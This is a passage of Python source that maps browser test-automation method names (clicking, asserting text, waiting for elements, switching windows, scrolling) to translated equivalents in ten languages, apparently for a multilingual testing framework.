md["click_link_text"][2] = "klik_linktekst" md["click_link_text"][3] = "cliquer_texte_du_lien" md["click_link_text"][4] = "clic_testo_del_collegamento" md["click_link_text"][5] = "リンクテキストをクリックします" md["click_link_text"][6] = "링크_텍스트를_클릭합니다" md["click_link_text"][7] = "clique_texto_do_link" md["click_link_text"][8] = "нажмите_ссылку" md["click_link_text"][9] = "clic_texto_del_enlace" md["update_text"] = ["*"] * num_langs md["update_text"][0] = "update_text" md["update_text"][1] = "更新文本" md["update_text"][2] = "tekst_bijwerken" md["update_text"][3] = "modifier_texte" md["update_text"][4] = "aggiornare_testo" md["update_text"][5] = "テキストを更新" md["update_text"][6] = "텍스트를_업데이트" md["update_text"][7] = "atualizar_texto" md["update_text"][8] = "обновить_текст" md["update_text"][9] = "actualizar_texto" md["add_text"] = ["*"] * num_langs md["add_text"][0] = "add_text" md["add_text"][1] = "添加文本" md["add_text"][2] = "tekst_toevoegen" md["add_text"][3] = "ajouter_texte" md["add_text"][4] = "aggiungi_testo" md["add_text"][5] = "テキストを追加" md["add_text"][6] = "텍스트를_추가" md["add_text"][7] = "adicionar_texto" md["add_text"][8] = "добавить_текст" md["add_text"][9] = "agregar_texto" md["get_text"] = ["*"] * num_langs md["get_text"][0] = "get_text" md["get_text"][1] = "获取文本" md["get_text"][2] = "tekst_ophalen" md["get_text"][3] = "obtenir_texte" md["get_text"][4] = "ottenere_testo" md["get_text"][5] = "テキストを取得" md["get_text"][6] = "텍스트를_검색" md["get_text"][7] = "obter_texto" md["get_text"][8] = "получить_текст" md["get_text"][9] = "obtener_texto" md["assert_text"] = ["*"] * num_langs md["assert_text"][0] = "assert_text" md["assert_text"][1] = "断言文本" md["assert_text"][2] = "controleren_tekst" md["assert_text"][3] = "vérifier_texte" md["assert_text"][4] = "verificare_testo" md["assert_text"][5] = "テキストを確認する" md["assert_text"][6] = "텍스트_확인" md["assert_text"][7] = "verificar_texto" md["assert_text"][8] = "подтвердить_текст" md["assert_text"][9] = "verificar_texto" md["assert_exact_text"] = ["*"] * num_langs md["assert_exact_text"][0] = "assert_exact_text" md["assert_exact_text"][1] = "确切断言文本" md["assert_exact_text"][2] = "controleren_exacte_tekst" md["assert_exact_text"][3] = "vérifier_texte_exactement" md["assert_exact_text"][4] = "verificare_testo_esatto" md["assert_exact_text"][5] = "正確なテキストを確認する" md["assert_exact_text"][6] = "정확한_텍스트를_확인하는" md["assert_exact_text"][7] = "verificar_texto_exato" md["assert_exact_text"][8] = "подтвердить_текст_точно" md["assert_exact_text"][9] = "verificar_texto_exacto" md["assert_link_text"] = ["*"] * num_langs md["assert_link_text"][0] = "assert_link_text" md["assert_link_text"][1] = "断言链接文本" md["assert_link_text"][2] = "controleren_linktekst" md["assert_link_text"][3] = "vérifier_texte_du_lien" md["assert_link_text"][4] = "verificare_testo_del_collegamento" md["assert_link_text"][5] = "リンクテキストを確認する" md["assert_link_text"][6] = "링크_텍스트_확인" md["assert_link_text"][7] = "verificar_texto_do_link" md["assert_link_text"][8] = "подтвердить_ссылку" md["assert_link_text"][9] = "verificar_texto_del_enlace" md["assert_element"] = ["*"] * num_langs md["assert_element"][0] = "assert_element" md["assert_element"][1] = "断言元素" md["assert_element"][2] = "controleren_element" md["assert_element"][3] = "vérifier_élément" md["assert_element"][4] = "verificare_elemento" md["assert_element"][5] = "要素を確認する" md["assert_element"][6] = "요소_확인" md["assert_element"][7] = "verificar_elemento" md["assert_element"][8] = "подтвердить_элемент" md["assert_element"][9] = "verificar_elemento" md["assert_element_visible"] = ["*"] * num_langs md["assert_element_visible"][0] = "assert_element_visible" md["assert_element_visible"][1] = "断言元素可见" md["assert_element_visible"][2] = "controleren_element_zichtbaar" md["assert_element_visible"][3] = "vérifier_élément_affiché" md["assert_element_visible"][4] = "verificare_elemento_visto" md["assert_element_visible"][5] = "要素が表示されていることを確認" md["assert_element_visible"][6] = "요소가_보이는지_확인" md["assert_element_visible"][7] = "verificar_elemento_visível" md["assert_element_visible"][8] = "подтвердить_элемент_виден" md["assert_element_visible"][9] = "verificar_elemento_se_muestra" md["assert_element_not_visible"] = ["*"] * num_langs md["assert_element_not_visible"][0] = "assert_element_not_visible" md["assert_element_not_visible"][1] = "断言元素不可见" md["assert_element_not_visible"][2] = "controleren_element_niet_zichtbaar" md["assert_element_not_visible"][3] = "vérifier_élément_pas_affiché" md["assert_element_not_visible"][4] = "verificare_elemento_non_visto" md["assert_element_not_visible"][5] = "要素が表示されていないことを確認します" md["assert_element_not_visible"][6] = "요소가_보이지_않는지_확인" md["assert_element_not_visible"][7] = "verificar_elemento_não_visível" md["assert_element_not_visible"][8] = "подтвердить_элемент_не_виден" md["assert_element_not_visible"][9] = "verificar_elemento_no_se_muestra" md["assert_element_present"] = ["*"] * num_langs md["assert_element_present"][0] = "assert_element_present" md["assert_element_present"][1] = "断言元素存在" md["assert_element_present"][2] = "controleren_element_aanwezig" md["assert_element_present"][3] = "vérifier_élément_présent" md["assert_element_present"][4] = "verificare_elemento_presente" md["assert_element_present"][5] = "要素が存在することを確認します" md["assert_element_present"][6] = "요소가_존재하는지_확인" md["assert_element_present"][7] = "verificar_elemento_presente" md["assert_element_present"][8] = "подтвердить_элемент_присутствует" md["assert_element_present"][9] = "verificar_elemento_presente" md["assert_element_absent"] = ["*"] * num_langs md["assert_element_absent"][0] = "assert_element_absent" md["assert_element_absent"][1] = "断言元素不存在" md["assert_element_absent"][2] = "controleren_element_afwezig" md["assert_element_absent"][3] = "vérifier_élément_pas_présent" md["assert_element_absent"][4] = "verificare_elemento_assente" md["assert_element_absent"][5] = "要素が存在しないことを確認します" md["assert_element_absent"][6] = "요소가_존재하지_않는지_확인" md["assert_element_absent"][7] = "verificar_elemento_ausente" md["assert_element_absent"][8] = "подтвердить_элемент_отсутствует" md["assert_element_absent"][9] = "verificar_elemento_ausente" md["assert_title"] = ["*"] * num_langs md["assert_title"][0] = "assert_title" md["assert_title"][1] = "断言标题" md["assert_title"][2] = "controleren_titel" md["assert_title"][3] = "vérifier_titre" md["assert_title"][4] = "verificare_titolo" md["assert_title"][5] = "タイトルを確認" md["assert_title"][6] = "제목_확인" md["assert_title"][7] = "verificar_título" md["assert_title"][8] = "подтвердить_название" md["assert_title"][9] = "verificar_título" md["get_title"] = ["*"] * num_langs md["get_title"][0] = "get_title" md["get_title"][1] = "获取标题" md["get_title"][2] = "titel_ophalen" md["get_title"][3] = "obtenir_titre" md["get_title"][4] = "ottenere_titolo" md["get_title"][5] = "タイトルを取得する" md["get_title"][6] = "제목_검색" md["get_title"][7] = "obter_título" md["get_title"][8] = "получить_название" md["get_title"][9] = "obtener_título" md["assert_true"] = ["*"] * num_langs md["assert_true"][0] = "assert_true" md["assert_true"][1] = "断言为真" md["assert_true"][2] = "controleren_ware" md["assert_true"][3] = "vérifier_vrai" md["assert_true"][4] = "verificare_vero" md["assert_true"][5] = "検証が正しい" md["assert_true"][6] = "올바른지_확인" md["assert_true"][7] = "verificar_verdade" md["assert_true"][8] = "подтвердить_правду" md["assert_true"][9] = "verificar_verdad" md["assert_false"] = ["*"] * num_langs md["assert_false"][0] = "assert_false" md["assert_false"][1] = "断言为假" md["assert_false"][2] = "controleren_valse" md["assert_false"][3] = "vérifier_faux" md["assert_false"][4] = "verificare_falso" md["assert_false"][5] = "検証は偽です" md["assert_false"][6] = "거짓인지_확인" md["assert_false"][7] = "verificar_falso" md["assert_false"][8] = "подтвердить_ложные" md["assert_false"][9] = "verificar_falso" md["assert_equal"] = ["*"] * num_langs md["assert_equal"][0] = "assert_equal" md["assert_equal"][1] = "断言等于" md["assert_equal"][2] = "controleren_gelijk" md["assert_equal"][3] = "vérifier_égal" md["assert_equal"][4] = "verificare_uguale" md["assert_equal"][5] = "検証が等しい" md["assert_equal"][6] = "동일한지_확인" md["assert_equal"][7] = "verificar_igual" md["assert_equal"][8] = "подтвердить_одинаковый" md["assert_equal"][9] = "verificar_igual" md["assert_not_equal"] = ["*"] * num_langs md["assert_not_equal"][0] = "assert_not_equal" md["assert_not_equal"][1] = "断言不等于" md["assert_not_equal"][2] = "controleren_niet_gelijk" md["assert_not_equal"][3] = "vérifier_non_égal" md["assert_not_equal"][4] = "verificare_non_uguale" md["assert_not_equal"][5] = "検証が等しくない" md["assert_not_equal"][6] = "동일하지_않다고_어설션" md["assert_not_equal"][7] = "verificar_não_igual" md["assert_not_equal"][8] = "подтвердить_не_одинаковый" md["assert_not_equal"][9] = "verificar_diferente" md["refresh_page"] = ["*"] * num_langs md["refresh_page"][0] = "refresh_page" md["refresh_page"][1] = "刷新页面" md["refresh_page"][2] = "ververs_pagina" md["refresh_page"][3] = "rafraîchir_la_page" md["refresh_page"][4] = "aggiorna_la_pagina" md["refresh_page"][5] = "ページを更新する" md["refresh_page"][6] = "페이지_새로_고침" md["refresh_page"][7] = "atualizar_a_página" md["refresh_page"][8] = "обновить_страницу" md["refresh_page"][9] = "actualizar_la_página" md["get_current_url"] = ["*"] * num_langs md["get_current_url"][0] = "get_current_url" md["get_current_url"][1] = "获取当前网址" md["get_current_url"][2] = "huidige_url_ophalen" md["get_current_url"][3] = "obtenir_url_actuelle" md["get_current_url"][4] = "ottenere_url_corrente" md["get_current_url"][5] = "現在のURLを取得" md["get_current_url"][6] = "현재의_URL을_가져" md["get_current_url"][7] = "obter_url_atual" md["get_current_url"][8] = "получить_текущий_URL" md["get_current_url"][9] = "obtener_url_actual" md["get_page_source"] = ["*"] * num_langs md["get_page_source"][0] = "get_page_source" md["get_page_source"][1] = "获取页面源代码" md["get_page_source"][2] = "broncode_ophalen" md["get_page_source"][3] = "obtenir_html_de_la_page" md["get_page_source"][4] = "ottenere_la_pagina_html" md["get_page_source"][5] = "ページのソースコードを取得する" md["get_page_source"][6] = "페이지의_소스_코드를_얻을" md["get_page_source"][7] = "obter_a_página_html" md["get_page_source"][8] = "получить_источник_страницы" md["get_page_source"][9] = "obtener_html_de_la_página" md["go_back"] = ["*"] * num_langs md["go_back"][0] = "go_back" md["go_back"][1] = "回去" md["go_back"][2] = "terug" md["go_back"][3] = "retour" md["go_back"][4] = "indietro" md["go_back"][5] = "戻る" md["go_back"][6] = "뒤로" md["go_back"][7] = "voltar" md["go_back"][8] = "назад" md["go_back"][9] = "volver" md["go_forward"] = ["*"] * num_langs md["go_forward"][0] = "go_forward" md["go_forward"][1] = "向前" md["go_forward"][2] = "vooruit" md["go_forward"][3] = "en_avant" md["go_forward"][4] = "avanti" md["go_forward"][5] = "進む" md["go_forward"][6] = "앞으로" md["go_forward"][7] = "avançar" md["go_forward"][8] = "вперед" md["go_forward"][9] = "adelante" md["is_text_visible"] = ["*"] * num_langs md["is_text_visible"][0] = "is_text_visible" md["is_text_visible"][1] = "文本是否显示" md["is_text_visible"][2] = "tekst_zichtbaar" md["is_text_visible"][3] = "est_texte_affiché" md["is_text_visible"][4] = "è_testo_visto" md["is_text_visible"][5] = "テキストが表示されています" md["is_text_visible"][6] = "텍스트가_표시됩니다" md["is_text_visible"][7] = "o_texto_está_visível" md["is_text_visible"][8] = "текст_виден" md["is_text_visible"][9] = "se_muestra_el_texto" md["is_element_visible"] = ["*"] * num_langs md["is_element_visible"][0] = "is_element_visible" md["is_element_visible"][1] = "元素是否可见" md["is_element_visible"][2] = "element_zichtbaar" md["is_element_visible"][3] = "est_un_élément_affiché" md["is_element_visible"][4] = "è_elemento_visto" md["is_element_visible"][5] = "要素は表示されますか" md["is_element_visible"][6] = "요소가_표시됩니다" md["is_element_visible"][7] = "o_elemento_está_visível" md["is_element_visible"][8] = "элемент_виден" md["is_element_visible"][9] = "se_muestra_el_elemento" md["is_element_present"] = ["*"] * num_langs md["is_element_present"][0] = "is_element_present" md["is_element_present"][1] = "元素是否存在" md["is_element_present"][2] = "element_aanwezig" md["is_element_present"][3] = "est_un_élément_présent" md["is_element_present"][4] = "è_elemento_presente" md["is_element_present"][5] = "要素が存在するかどうか" md["is_element_present"][6] = "요소가_있습니다" md["is_element_present"][7] = "o_elemento_está_presente" md["is_element_present"][8] = "элемент_присутствует" md["is_element_present"][9] = "está_presente_el_elemento" md["wait_for_text"] = ["*"] * num_langs md["wait_for_text"][0] = "wait_for_text" md["wait_for_text"][1] = "等待文本" md["wait_for_text"][2] = "wachten_op_tekst" md["wait_for_text"][3] = "attendre_le_texte" md["wait_for_text"][4] = "attendere_il_testo" md["wait_for_text"][5] = "テキストを待つ" md["wait_for_text"][6] = "텍스트가_나타날_때까지_기다립니다" md["wait_for_text"][7] = "aguardar_o_texto" md["wait_for_text"][8] = "ждать_текста" md["wait_for_text"][9] = "espera_el_texto" md["wait_for_element"] = ["*"] * num_langs md["wait_for_element"][0] = "wait_for_element" md["wait_for_element"][1] = "等待元素" md["wait_for_element"][2] = "wachten_op_element" md["wait_for_element"][3] = "attendre_un_élément" md["wait_for_element"][4] = "attendere_un_elemento" md["wait_for_element"][5] = "要素を待つ" md["wait_for_element"][6] = "요소가_나타날_때까지_기다립니다" md["wait_for_element"][7] = "aguardar_o_elemento" md["wait_for_element"][8] = "ждать_элемента" md["wait_for_element"][9] = "espera_el_elemento" md["wait_for_element_visible"] = ["*"] * num_langs md["wait_for_element_visible"][0] = "wait_for_element_visible" md["wait_for_element_visible"][1] = "等待元素可见" md["wait_for_element_visible"][2] = "wachten_op_element_zichtbaar" md["wait_for_element_visible"][3] = "attendre_un_élément_affiché" md["wait_for_element_visible"][4] = "attendere_un_elemento_visto" md["wait_for_element_visible"][5] = "要素が表示されるのを待ちます" md["wait_for_element_visible"][6] = "요소가_표시_될_때까지_기다립니다" md["wait_for_element_visible"][7] = "aguardar_o_elemento_visível" md["wait_for_element_visible"][8] = "ждать_элемента_виден" md["wait_for_element_visible"][9] = "espera_el_elemento_se_muestra" md["wait_for_element_not_visible"] = ["*"] * num_langs md["wait_for_element_not_visible"][0] = "wait_for_element_not_visible" md["wait_for_element_not_visible"][1] = "等待元素不可见" md["wait_for_element_not_visible"][2] = "wachten_op_element_niet_zichtbaar" md["wait_for_element_not_visible"][3] = "attendre_un_élément_pas_affiché" md["wait_for_element_not_visible"][4] = "attendere_un_elemento_non_visto" md["wait_for_element_not_visible"][5] = "要素が表示されなくなるまで待ちます" md["wait_for_element_not_visible"][6] = "요소가_사라질_때까지_기다리십시오" md["wait_for_element_not_visible"][7] = "aguardar_o_elemento_não_visível" md["wait_for_element_not_visible"][8] = "ждать_элемента_не_виден" md["wait_for_element_not_visible"][9] = "espera_el_elemento_no_se_muestra" md["wait_for_element_present"] = ["*"] * num_langs md["wait_for_element_present"][0] = "wait_for_element_present" md["wait_for_element_present"][1] = "等待元素存在" md["wait_for_element_present"][2] = "wachten_op_element_aanwezig" md["wait_for_element_present"][3] = "attendre_un_élément_présent" md["wait_for_element_present"][4] = "attendere_un_elemento_presente" md["wait_for_element_present"][5] = "要素が存在するのを待つ" md["wait_for_element_present"][6] = "요소가_존재할_때까지_기다립니다" md["wait_for_element_present"][7] = "aguardar_o_elemento_presente" md["wait_for_element_present"][8] = "ждать_элемента_присутствует" md["wait_for_element_present"][9] = "espera_el_elemento_presente" md["wait_for_element_absent"] = ["*"] * num_langs md["wait_for_element_absent"][0] = "wait_for_element_absent" md["wait_for_element_absent"][1] = "等待元素不存在" md["wait_for_element_absent"][2] = "wachten_op_element_afwezig" md["wait_for_element_absent"][3] = "attendre_un_élément_pas_présent" md["wait_for_element_absent"][4] = "attendere_un_elemento_assente" md["wait_for_element_absent"][5] = "要素が存在しないのを待つ" md["wait_for_element_absent"][6] = "요소가_나타날_때까지_기다리십시오" md["wait_for_element_absent"][7] = "aguardar_o_elemento_ausente" md["wait_for_element_absent"][8] = "ждать_элемента_отсутствует" md["wait_for_element_absent"][9] = "espera_el_elemento_ausente" md["sleep"] = ["*"] * num_langs md["sleep"][0] = "sleep" md["sleep"][1] = "睡" md["sleep"][2] = "slapen" md["sleep"][3] = "dormir" md["sleep"][4] = "dormire" md["sleep"][5] = "眠る" md["sleep"][6] = "잠을" md["sleep"][7] = "dormir" md["sleep"][8] = "спать" md["sleep"][9] = "dormir" md["wait"] = ["*"] * num_langs md["wait"][0] = "wait" md["wait"][1] = "等待" md["wait"][2] = "wachten" md["wait"][3] = "attendre" md["wait"][4] = "attendere" md["wait"][5] = "待つ" md["wait"][6] = "기다림" md["wait"][7] = "aguardar" md["wait"][8] = "ждать" md["wait"][9] = "espera" md["submit"] = ["*"] * num_langs md["submit"][0] = "submit" md["submit"][1] = "提交" md["submit"][2] = "verzenden" md["submit"][3] = "soumettre" md["submit"][4] = "inviare" md["submit"][5] = "を提出す" md["submit"][6] = "제출" md["submit"][7] = "enviar" md["submit"][8] = "отправить" md["submit"][9] = "enviar" md["clear"] = ["*"] * num_langs md["clear"][0] = "clear" md["clear"][1] = "清除" md["clear"][2] = "wissen" md["clear"][3] = "effacer" md["clear"][4] = "cancellare" md["clear"][5] = "クリアする" md["clear"][6] = "지우려면" md["clear"][7] = "limpar" md["clear"][8] = "очистить" md["clear"][9] = "despejar" md["js_click"] = ["*"] * num_langs md["js_click"][0] = "js_click" md["js_click"][1] = "JS单击" md["js_click"][2] = "js_klik" md["js_click"][3] = "js_cliquer" md["js_click"][4] = "js_fare_clic" md["js_click"][5] = "JSクリックして" md["js_click"][6] = "JS_클릭" md["js_click"][7] = "js_clique" md["js_click"][8] = "JS_нажмите" md["js_click"][9] = "js_haga_clic" md["js_update_text"] = ["*"] * num_langs md["js_update_text"][0] = "js_update_text" md["js_update_text"][1] = "JS更新文本" md["js_update_text"][2] = "js_tekst_bijwerken" md["js_update_text"][3] = "js_modifier_texte" md["js_update_text"][4] = "js_aggiornare_testo" md["js_update_text"][5] = "JSテキストを更新" md["js_update_text"][6] = "JS_텍스트를_업데이트" md["js_update_text"][7] = "js_atualizar_texto" md["js_update_text"][8] = "JS_обновить_текст" md["js_update_text"][9] = "js_actualizar_texto" md["js_type"] = ["*"] * num_langs md["js_type"][0] = "js_type" md["js_type"][1] = "JS输入文本" md["js_type"][2] = "js_typ" md["js_type"][3] = "js_taper" md["js_type"][4] = "js_digitare" md["js_type"][5] = "JS入力" md["js_type"][6] = "JS_입력" md["js_type"][7] = "js_tipo" md["js_type"][8] = "JS_введите" md["js_type"][9] = "js_escriba" md["inspect_html"] = ["*"] * num_langs md["inspect_html"][0] = "inspect_html" md["inspect_html"][1] = "检查HTML" md["inspect_html"][2] = "html_inspecteren" md["inspect_html"][3] = "vérifier_html" md["inspect_html"][4] = "controlla_html" md["inspect_html"][5] = "HTMLをチェック" md["inspect_html"][6] = "HTML_확인" md["inspect_html"][7] = "verificar_html" md["inspect_html"][8] = "проверить_HTML" md["inspect_html"][9] = "comprobar_html" md["save_screenshot"] = ["*"] * num_langs md["save_screenshot"][0] = "save_screenshot" md["save_screenshot"][1] = "保存截图" md["save_screenshot"][2] = "bewaar_screenshot" md["save_screenshot"][3] = "enregistrer_capture_d_écran" md["save_screenshot"][4] = "salva_screenshot" md["save_screenshot"][5] = "スクリーンショットを保存" md["save_screenshot"][6] = "스크린_샷_저장" md["save_screenshot"][7] = "salvar_captura_de_tela" md["save_screenshot"][8] = "сохранить_скриншот" md["save_screenshot"][9] = "guardar_captura_de_pantalla" md["choose_file"] = ["*"] * num_langs md["choose_file"][0] = "choose_file" md["choose_file"][1] = "选择文件" md["choose_file"][2] = "selecteer_bestand" md["choose_file"][3] = "sélectionner_fichier" md["choose_file"][4] = "seleziona_file" md["choose_file"][5] = "ファイルを選択" md["choose_file"][6] = "파일을_선택" md["choose_file"][7] = "selecionar_arquivo" md["choose_file"][8] = "выберите_файл" md["choose_file"][9] = "seleccionar_archivo" md["execute_script"] = ["*"] * num_langs md["execute_script"][0] = "execute_script" md["execute_script"][1] = "执行脚本" md["execute_script"][2] = "script_uitvoeren" md["execute_script"][3] = "exécuter_script" md["execute_script"][4] = "eseguire_script" md["execute_script"][5] = "スクリプトを実行する" md["execute_script"][6] = "스크립트를_실행하려면" md["execute_script"][7] = "executar_script" md["execute_script"][8] = "выполнение_скрипта" md["execute_script"][9] = "ejecutar_script" md["safe_execute_script"] = ["*"] * num_langs md["safe_execute_script"][0] = "safe_execute_script" md["safe_execute_script"][1] = "安全执行脚本" md["safe_execute_script"][2] = "script_veilig_uitvoeren" md["safe_execute_script"][3] = "exécuter_script_sans_risque" md["safe_execute_script"][4] = "eseguire_script_sicuro" md["safe_execute_script"][5] = "スクリプトを安全に実行する" md["safe_execute_script"][6] = "스크립트를_안전하게_실행" md["safe_execute_script"][7] = "executar_script_com_segurança" md["safe_execute_script"][8] = "безопасное_выполнение_скрипта" md["safe_execute_script"][9] = "ejecutar_script_de_forma_segura" md["activate_jquery"] = ["*"] * num_langs md["activate_jquery"][0] = "activate_jquery" md["activate_jquery"][1] = "加载JQUERY" md["activate_jquery"][2] = "activeer_jquery" md["activate_jquery"][3] = "activer_jquery" md["activate_jquery"][4] = "attiva_jquery" md["activate_jquery"][5] = "JQUERYを読み込む" md["activate_jquery"][6] = "JQUERY_로드" md["activate_jquery"][7] = "ativar_jquery" md["activate_jquery"][8] = "активировать_JQUERY" md["activate_jquery"][9] = "activar_jquery" md["ad_block"] = ["*"] * num_langs md["ad_block"][0] = "ad_block" md["ad_block"][1] = "阻止广告" md["ad_block"][2] = "blokkeer_advertenties" md["ad_block"][3] = "annonces_de_bloc" md["ad_block"][4] = "bloccare_gli_annunci" md["ad_block"][5] = "ブロック広告" md["ad_block"][6] = "광고_차단" md["ad_block"][7] = "bloquear_anúncios" md["ad_block"][8] = "блокировать_рекламу" md["ad_block"][9] = "bloquear_anuncios" md["skip"] = ["*"] * num_langs md["skip"][0] = "skip" md["skip"][1] = "跳过" md["skip"][2] = "overslaan" md["skip"][3] = "sauter" md["skip"][4] = "saltare" md["skip"][5] = "スキップ" md["skip"][6] = "건너뛸" md["skip"][7] = "saltar" md["skip"][8] = "пропускать" md["skip"][9] = "saltar" md["assert_no_404_errors"] = ["*"] * num_langs md["assert_no_404_errors"][0] = "assert_no_404_errors" md["assert_no_404_errors"][1] = "检查断开的链接" md["assert_no_404_errors"][2] = "controleren_op_gebroken_links" md["assert_no_404_errors"][3] = "vérifier_les_liens_rompus" md["assert_no_404_errors"][4] = "verificare_i_collegamenti" md["assert_no_404_errors"][5] = "リンク切れを確認する" md["assert_no_404_errors"][6] = "끊어진_링크_확인" md["assert_no_404_errors"][7] = "verificar_se_há_links_quebrados" md["assert_no_404_errors"][8] = "проверить_ошибки_404" md["assert_no_404_errors"][9] = "verificar_si_hay_enlaces_rotos" md["assert_no_js_errors"] = ["*"] * num_langs md["assert_no_js_errors"][0] = "assert_no_js_errors" md["assert_no_js_errors"][1] = "检查JS错误" md["assert_no_js_errors"][2] = "controleren_op_js_fouten" md["assert_no_js_errors"][3] = "vérifier_les_erreurs_js" md["assert_no_js_errors"][4] = "controlla_errori_js" md["assert_no_js_errors"][5] = "JSエラーを確認する" md["assert_no_js_errors"][6] = "JS_오류_확인" md["assert_no_js_errors"][7] = "verificar_se_há_erros_js" md["assert_no_js_errors"][8] = "проверить_ошибки_JS" md["assert_no_js_errors"][9] = "verificar_si_hay_errores_js" md["switch_to_frame"] = ["*"] * num_langs md["switch_to_frame"][0] = "switch_to_frame" md["switch_to_frame"][1] = "切换到帧" md["switch_to_frame"][2] = "overschakelen_naar_frame" md["switch_to_frame"][3] = "passer_au_cadre" md["switch_to_frame"][4] = "passa_al_frame" md["switch_to_frame"][5] = "フレームに切り替え" md["switch_to_frame"][6] = "프레임으로_전환" md["switch_to_frame"][7] = "mudar_para_o_quadro" md["switch_to_frame"][8] = "переключиться_на_кадр" md["switch_to_frame"][9] = "cambiar_al_marco" md["switch_to_default_content"] = ["*"] * num_langs md["switch_to_default_content"][0] = "switch_to_default_content" md["switch_to_default_content"][1] = "切换到默认内容" md["switch_to_default_content"][2] = "overschakelen_naar_standaardcontent" md["switch_to_default_content"][3] = "passer_au_contenu_par_défaut" md["switch_to_default_content"][4] = "passa_al_contenuto_predefinito" md["switch_to_default_content"][5] = "デフォルトのコンテンツに切り替える" md["switch_to_default_content"][6] = "기본_콘텐츠로_전환" md["switch_to_default_content"][7] = "mudar_para_o_conteúdo_padrão" md["switch_to_default_content"][8] = ( "переключиться_на_содержимое_по_умолчанию") md["switch_to_default_content"][9] = "cambiar_al_contenido_predeterminado" md["open_new_window"] = ["*"] * num_langs md["open_new_window"][0] = "open_new_window" md["open_new_window"][1] = "打开新窗口" md["open_new_window"][2] = "nieuw_venster_openen" md["open_new_window"][3] = "ouvrir_une_nouvelle_fenêtre" md["open_new_window"][4] = "apri_una_nuova_finestra" md["open_new_window"][5] = "新しいウィンドウを開く" md["open_new_window"][6] = "새_창_열기" md["open_new_window"][7] = "abrir_nova_janela" md["open_new_window"][8] = "открыть_новое_окно" md["open_new_window"][9] = "abrir_una_nueva_ventana" md["switch_to_window"] = ["*"] * num_langs md["switch_to_window"][0] = "switch_to_window" md["switch_to_window"][1] = "切换到窗口" md["switch_to_window"][2] = "overschakelen_naar_venster" md["switch_to_window"][3] = "passer_à_fenêtre" md["switch_to_window"][4] = "passa_alla_finestra" md["switch_to_window"][5] = "ウィンドウに切り替え" md["switch_to_window"][6] = "창으로_전환" md["switch_to_window"][7] = "mudar_para_janela" md["switch_to_window"][8] = "переключиться_на_окно" md["switch_to_window"][9] = "cambiar_a_ventana" md["switch_to_default_window"] = ["*"] * num_langs md["switch_to_default_window"][0] = "switch_to_default_window" md["switch_to_default_window"][1] = "切换到默认窗口" md["switch_to_default_window"][2] = "overschakelen_naar_standaardvenster" md["switch_to_default_window"][3] = "passer_à_fenêtre_par_défaut" md["switch_to_default_window"][4] = "passa_alla_finestra_predefinita" md["switch_to_default_window"][5] = "デフォルトのウィンドウに切り替える" md["switch_to_default_window"][6] = "기본_창으로_전환" md["switch_to_default_window"][7] = "mudar_para_a_janela_padrão" md["switch_to_default_window"][8] = "переключиться_в_окно_по_умолчанию" md["switch_to_default_window"][9] = "cambiar_a_ventana_predeterminada" md["maximize_window"] = ["*"] * num_langs md["maximize_window"][0] = "maximize_window" md["maximize_window"][1] = "最大化窗口" md["maximize_window"][2] = "venster_maximaliseren" md["maximize_window"][3] = "maximiser_fenêtre" md["maximize_window"][4] = "ingrandisci_finestra" md["maximize_window"][5] = "ウィンドウを最大化する" md["maximize_window"][6] = "창_최대화" md["maximize_window"][7] = "maximizar_janela" md["maximize_window"][8] = "максимальное_окно" md["maximize_window"][9] = "maximizar_ventana" md["highlight"] = ["*"] * num_langs md["highlight"][0] = "highlight" md["highlight"][1] = "亮点" md["highlight"][2] = "markeren" md["highlight"][3] = "illuminer" md["highlight"][4] = "illuminare" md["highlight"][5] = "ハイライト" md["highlight"][6] = "강조" md["highlight"][7] = "destaque" md["highlight"][8] = "осветить" md["highlight"][9] = "resalte" md["highlight_click"] = ["*"] * num_langs md["highlight_click"][0] = "highlight_click" md["highlight_click"][1] = "亮点单击" md["highlight_click"][2] = "markeren_klik" md["highlight_click"][3] = "illuminer_cliquer" md["highlight_click"][4] = "illuminare_clic" md["highlight_click"][5] = "ハイライトしてクリックして" md["highlight_click"][6] = "강조_클릭" md["highlight_click"][7] = "destaque_clique" md["highlight_click"][8] = "осветить_нажмите" md["highlight_click"][9] = "resalte_clic" md["scroll_to"] = ["*"] * num_langs md["scroll_to"][0] = "scroll_to" md["scroll_to"][1] = "滚动到" md["scroll_to"][2] = "scrollen_naar" md["scroll_to"][3] = "déménager_à" md["scroll_to"][4] = "scorrere_fino_a" md["scroll_to"][5] = "スクロールして" md["scroll_to"][6] = "요소로_스크롤" md["scroll_to"][7] = "rolar_para" md["scroll_to"][8] = "прокрутить_к" md["scroll_to"][9] = "desplazarse_a" md["scroll_to_top"] = ["*"] * num_langs md["scroll_to_top"][0] = "scroll_to_top" md["scroll_to_top"][1] = "滚动到顶部" md["scroll_to_top"][2] = "naar_boven_scrollen" md["scroll_to_top"][3] = "faites_défiler_vers_le_haut" md["scroll_to_top"][4] = "scorri_verso_alto" md["scroll_to_top"][5] = "一番上までスクロール" md["scroll_to_top"][6] = "맨_위로_스크롤" md["scroll_to_top"][7] = "rolar_para_o_topo" md["scroll_to_top"][8] = "пролистать_наверх" md["scroll_to_top"][9] = "desplazarse_hasta_la_parte_superior" md["scroll_to_bottom"] = ["*"] * num_langs md["scroll_to_bottom"][0] = "scroll_to_bottom" md["scroll_to_bottom"][1] = "滚动到底部" md["scroll_to_bottom"][2] = "naar_beneden_scrollen" md["scroll_to_bottom"][3] = "faites_défiler_vers_le_bas" md["scroll_to_bottom"][4] = "scorri_verso_il_basso" md["scroll_to_bottom"][5] = "一番下までスクロール" md["scroll_to_bottom"][6] = "하단으로_스크롤" md["scroll_to_bottom"][7] = "rolar_para_o_fundo" md["scroll_to_bottom"][8] = "прокрутить_вниз" md["scroll_to_bottom"][9] = "desplazarse_hasta_la_parte_inferior" md["hover_and_click"] = ["*"] * num_langs md["hover_and_click"][0] = "hover_and_click" md["hover_and_click"][1] = "悬停并单击" md["hover_and_click"][2] = "zweven_en_klik" md["hover_and_click"][3] = "planer_au_dessus_et_cliquer" md["hover_and_click"][4] = "passa_il_mouse_sopra_e_fai_clic" md["hover_and_click"][5] = "上にマウスを移動しクリック" md["hover_and_click"][6] = "위로_마우스를_이동하고_클릭" md["hover_and_click"][7] = "passe_o_mouse_e_clique" md["hover_and_click"][8] = "наведите_и_нажмите" md["hover_and_click"][9] = "pasar_el_ratón_y_hacer_clic" md["is_selected"] = ["*"] * num_langs md["is_selected"][0] = "is_selected" md["is_selected"][1] = "是否被选中" md["is_selected"][2] = "is_het_geselecteerd" md["is_selected"][3] = "est_il_sélectionné" md["is_selected"][4] = "è_selezionato" md["is_selected"][5] = "選択されていることを" md["is_selected"][6] = 